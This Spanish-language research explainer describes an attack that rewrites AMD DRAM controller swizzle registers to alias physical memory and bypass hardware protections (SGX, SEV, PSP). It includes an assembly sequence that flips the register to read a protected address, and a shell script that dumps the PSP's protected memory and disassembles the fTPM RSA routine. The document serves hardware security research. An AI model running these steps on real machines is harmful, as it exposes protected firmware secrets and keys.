El problema fundamental que aborda esta investigación es la brecha entre las abstracciones de seguridad de la memoria a nivel de CPU/firmware y la realidad de la manipulación de direcciones en el controlador de memoria físico. Históricamente, las arquitecturas de CPU han evolucionado con capas crecientes de abstracción para la gestión de memoria, desde direcciones virtuales hasta físicas, pasando por MMUs, TLBs, y IOMMUs. Sin embargo, la capa más profunda, la traducción final de una dirección física a coordenadas de DRAM (banco, fila, columna), a menudo se considera una caja negra o se asume que es inmutable y segura. Este trabajo demuestra que esta suposición es errónea en ciertas arquitecturas, revelando que la manipulación de esta capa final puede subvertir todas las protecciones construidas sobre ella.

La relevancia actual de este hallazgo radica en la creciente complejidad de los sistemas de seguridad basados en hardware (como SGX, SEV, TrustZone, SMM, PSP) que confían en la integridad de las barreras de memoria. Si la capa más baja de la jerarquía de memoria puede ser reconfigurada arbitrariamente, entonces todas las garantías de aislamiento y confidencialidad que estas tecnologías prometen se vuelven frágiles. Este ataque resalta la importancia de una seguridad "defense-in-depth" que considere cada capa de abstracción, hasta el hardware más granular, y no solo las interfaces expuestas al software de alto nivel.

Arquitectura del Sistema

La arquitectura de un sistema moderno de memoria es una pila de abstracciones. En la parte superior, el código de usuario opera con direcciones virtuales (VA) que son traducidas por la Unidad de Gestión de Memoria (MMU) del CPU a direcciones físicas (PA) a través de tablas de páginas (PML5, PML4, PDPT, PD, PT) y cachés TLB. Esta traducción implica múltiples verificaciones de privilegios (U/S, R/W, NX) y mecanismos de seguridad como SMEP/SMAP y Protection Keys. Para dispositivos, un IOMMU realiza una traducción similar de direcciones de dispositivo a PA.

Una vez obtenida la dirección física, el CPU uncore gestiona la coherencia de caché (L1, L2, LLC) utilizando protocolos como MESI/MOESI y el tejido de interconexión (Infinity Fabric, QPI, UPI). Finalmente, la PA llega al Memory Controller (MCT/IMC/DCT), que es la capa objetivo de este ataque. Aquí, la PA se somete a una serie de transformaciones finales: remapeo de agujeros de DRAM, exclusión de regiones protegidas, y hashing para entrelazado de canales, ranks y bancos. Crucialmente, también se aplican operaciones de "bank swizzle" y "XOR scramble" que reescriben la PA en coordenadas de DRAM (grupo de bancos, banco, fila, columna) que son enviadas al DIMM. Este ataque explota la capacidad de modificar los registros que controlan estas transformaciones finales (ej. xor dword [0xf80c2094], 0x00400000 en AMD Family 16h) para "spaghettify" la memoria, creando alias de direcciones físicas que eluden las protecciones de capas superiores.

Flujo de Acceso a Memoria con Manipulación del DCT

  1. 1 Estado Coherente El sistema opera con las traducciones de direcciones de memoria por defecto.
  2. 2 Deshabilitar APs e Interrupciones Preparación del CPU para una operación crítica de baja latencia.
  3. 3 Primar TLBs y Caché Asegurar que las instrucciones y datos necesarios estén en caché para evitar ...
  4. 4 Modificar Registro DCT Alterar el registro del controlador DRAM (ej. `xor dword [0xf80c2094], 1<<22`...
  5. 5 Acceder Alias Protegido Leer/escribir en la dirección alias que ahora apunta a la región protegida de...
  6. 6 Restaurar Registro DCT Revertir el cambio en el registro del controlador DRAM para restaurar la vist...
  7. 7 Habilitar Interrupciones y APs Restaurar el estado normal de operación del CPU.
  8. 8 Estado Coherente Restaurado El sistema vuelve a operar normalmente, sin rastro de la manipulación.

Flujo de Descubrimiento de Alias de Memoria

  1. 1 Estado Coherente El sistema inicia con las traducciones de direcciones de memoria por defecto.
  2. 2 Modificar Registro DCT Alterar el registro del controlador DRAM para entrar en la vista "spaghettifi...
  3. 3 Escribir Valor Centinela Escribir un valor conocido (ej. 0xdeadc0de) en una dirección de memoria aleat...
  4. 4 Restaurar Registro DCT Revertir el cambio en el registro del controlador DRAM para restaurar la vist...
  5. 5 Barrido de Memoria Buscar el valor centinela en toda la memoria para encontrar su nueva ubicació...
  6. 6 Generar Par (Target, Alias) Registrar la dirección original y la dirección donde reapareció el centinela.
  7. 7 Repetir y Alimentar a Z3 Recolectar múltiples pares (target, alias) y pasarlos a un solucionador SMT (...
  8. 8 Resolver Matriz de Transformación Z3 deduce la matriz de transformación lineal (GF(2)) entre la vista coherente...
mov eax, [0xf80c2094] ; prime mmio TLB
mov eax, [0x6f800000] ; prime target TLB
pushf ; preserve flags
cli ; interrupts off
clflush [0x6f800000] ; evict the target, force the dram read
mfence ; barrier - no coherent world dram access
lfence ; reordered into spaghettified view
xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000] ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble
mfence ; barrier - no spaghettified dram access
lfence ; reordered into coherent world view
popf ; interrupts back on
Este snippet de ensamblador muestra la secuencia crítica para "spaghettify" la DRAM, leer una dirección objetivo y luego restaurar el estado, minimizando la ventana de inestabilidad.
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
Este script demuestra cómo usar las herramientas desarrolladas para extraer el contenido de una región de memoria protegida del PSP, incluyendo la rutina de exponenciación modular RSA del fTPM.

Fundamentos Teóricos

Este trabajo se conecta directamente con los fundamentos de la arquitectura de computadoras y la seguridad de sistemas, particularmente en el ámbito de la gestión de memoria y la separación de privilegios. Conceptos como los anillos de protección (rings) introducidos por Multics y popularizados por la arquitectura x86, o la noción de un Trusted Computing Base (TCB), asumen una jerarquía de confianza donde las capas inferiores son más privilegiadas y seguras. Este ataque desafía esa suposición al demostrar que una capa de hardware aparentemente trivial, el controlador DRAM, puede ser manipulada para subvertir las garantías de seguridad de capas superiores.

La técnica de reconstrucción de las transformaciones de direcciones mediante la observación de pares (dirección objetivo, alias) y el uso de un solucionador SMT (Satisfiability Modulo Theories) se basa en principios de álgebra lineal sobre campos finitos (GF(2)). Esto recuerda a trabajos en criptografía y análisis de sistemas donde las transformaciones lineales son comunes. Aunque no cita un paper específico, la metodología de inferir funciones de transformación desconocidas a partir de pares de entrada/salida es un problema clásico en la ingeniería inversa y el análisis de sistemas, a menudo resuelto con técnicas de lógica formal y solvers como Z3, que tienen sus raíces en la investigación de la verificación formal y la inteligencia artificial simbólica.